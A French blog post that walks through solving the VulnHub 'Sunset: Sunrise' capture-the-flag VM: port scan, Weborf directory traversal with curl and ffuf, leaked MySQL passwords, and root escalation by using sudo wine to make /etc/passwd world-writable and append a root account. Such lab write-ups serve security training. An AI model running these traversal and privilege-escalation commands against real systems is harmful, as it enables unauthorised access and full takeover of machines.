Accueil Solution du CTF Sunset: Sunrise de VulnHub
Post
Annuler

Solution du CTF Sunset: Sunrise de VulnHub

Tequila Sunrise

La VM expose plusieurs services dont un serveur web WebOrf.

1
2
3
4
5
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp   open  http       nginx 1.14.2
3306/tcp open  mysql?
8080/tcp open  http-proxy Weborf (GNU/Linux)

Ce dernier est vulnérable à un directory traversal, faille assez classique sur les serveurs web méconnus.

weborf 0.12.2 - Directory Traversal - Linux remote Exploit

Pas besoin d’exploit, cURL a le bon goût de ne pas retirer l’encodage du path lors des requêtes (avec la librairie requests pour Python il faudrait procéder à un double encodage) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ curl "http://192.168.56.157:8080/%2e%2e/"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Weborf</title></head><body><table><tr><td></td><td>Name</td><td>Size</td></tr><tr style="background-color: #DFDFDF;"><td>d</td><td><a href="../">../</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="backups/">backups/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="cache/">cache/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="lib/">lib/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="local/">local/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="lock/">lock/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="log/">log/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="mail/">mail/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="opt/">opt/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="run/">run/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="spool/">spool/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="tmp/">tmp/</a></td><td>-</td></tr>
<tr style="background-color: #DFDFDF;"><td>d</td><td><a href="www/">www/</a></td><td>-</td></tr>

Quand je regarde dans /home je trouve les utilisateurs sunrise et weborf.

À première vue, rien d’intéressant dans leurs dossiers, mais avoir exploré le reste sans être plus avancé je décide d’y rejeter un œil.

Il s’avère que WebOrf ne liste pas les fichiers cachés (pas de .bashrc, .profile ou .bash_history).

Je vais utiliser une wordlist spécifique pour trouver ces fichiers :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ffuf -u "http://192.168.56.157:8080/%2e%2e/%2e%2e/home/weborf/FUZZ" -w home_files.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.157:8080/%2e%2e/%2e%2e/home/weborf/FUZZ
 :: Wordlist         : FUZZ: home_files.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.profile                [Status: 200, Size: 807, Words: 128, Lines: 28]
.gnupg                  [Status: 301, Size: 0, Words: 1, Lines: 1]
.bashrc                 [Status: 200, Size: 3526, Words: 487, Lines: 114]
.local                  [Status: 301, Size: 0, Words: 1, Lines: 1]
.mysql_history          [Status: 200, Size: 83, Words: 8, Lines: 3]
:: Progress: [31/31] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

L’historique mysql de weborf contient un mot de passe :

1
2
show databases;
ALTER USER 'weborf'@'localhost' IDENTIFIED BY 'iheartrainbows44';

Le mot de passe permet un accès SSH mais aussi l’accès au MySQL qui contient un autre mot de passe :

1
2
3
4
5
6
7
8
9
MariaDB [(none)]> select User, Password from mysql.user;
+---------+-------------------------------------------+
| User    | Password                                  |
+---------+-------------------------------------------+
| root    | *C7B6683EEB8FF8329D8390574FAA04DD04B87C58 |
| sunrise | thefutureissobrightigottawearshades       |
| weborf  | *A76018C6BB42E371FD7B71D2EC6447AE6E37DB28 |
+---------+-------------------------------------------+
3 rows in set (0.000 sec)

Sex on the beach

On peut alors utiliser ces identifiants pour le compte sunrise qui peut lancer wine via sudo :

1
2
3
4
5
6
sunrise@sunrise:/home/weborf$ sudo -l
Matching Defaults entries for sunrise on sunrise:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sunrise may run the following commands on sunrise:
    (root) /usr/bin/wine

Le CTF C0m80 m’avait permis de découvrir l’option start /unix permettant d’exécuter des commandes Linux depuis Wine.

Je peux donc réutiliser cette technique, mais attention : Wine lance les programmes à la mode Windows, donc en tache de fond.

Faute de pouvoir lancer un shell, pour arriver à mes fins je crée un script bash qui change les permissions de /etc/passwd et je l’exécute depuis Wine :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sunrise@sunrise:~$ cat script.sh 
#!/bin/bash
chmod 777 /etc/passwd
sunrise@sunrise:~$ chmod 777 script.sh 
sunrise@sunrise:~$ sudo /usr/bin/wine start /unix script.sh
sunrise@sunrise:~$ ls -al /etc/passwd
-rwxrwxrwx 1 root root 2435 Dec  5  2019 /etc/passwd
sunrise@sunrise:~$ echo devloop:ueqwOCnSGdsuM:0:0::/root:/bin/sh >> /etc/passwd
sunrise@sunrise:~$ su devloop
Password: 
# cd /root
# ls
Desktop  Documents  Downloads  Groups  Logs  Manual  Music  Pictures  Public  Readme  root.txt  Templates  Users  Videos
# cat root.txt
            ^^                   @@@@@@@@@
       ^^       ^^            @@@@@@@@@@@@@@@
                            @@@@@@@@@@@@@@@@@@              ^^
                           @@@@@@@@@@@@@@@@@@@@
 ~~~~ ~~ ~~~~~ ~~~~~~~~ ~~ &&&&&&&&&&&&&&&&&&&& ~~~~~~~ ~~~~~~~~~~~ ~~~
 ~         ~~   ~  ~       ~~~~~~~~~~~~~~~~~~~~ ~       ~~     ~~ ~
   ~      ~~      ~~ ~~ ~~  ~~~~~~~~~~~~~ ~~~~  ~     ~~~    ~ ~~~  ~ ~~
   ~  ~~     ~         ~      ~~~~~~  ~~ ~~~       ~~ ~ ~~  ~~ ~
 ~  ~       ~ ~      ~           ~~ ~~~~~~  ~      ~~  ~             ~~
       ~             ~        ~      ~      ~~   ~             ~

Thanks for playing! - Felipe Winsnes (@whitecr0wz)

24edb59d21c273c033aa6f1689b0b18c
Cet article est sous licence CC BY 4.0 par l'auteur.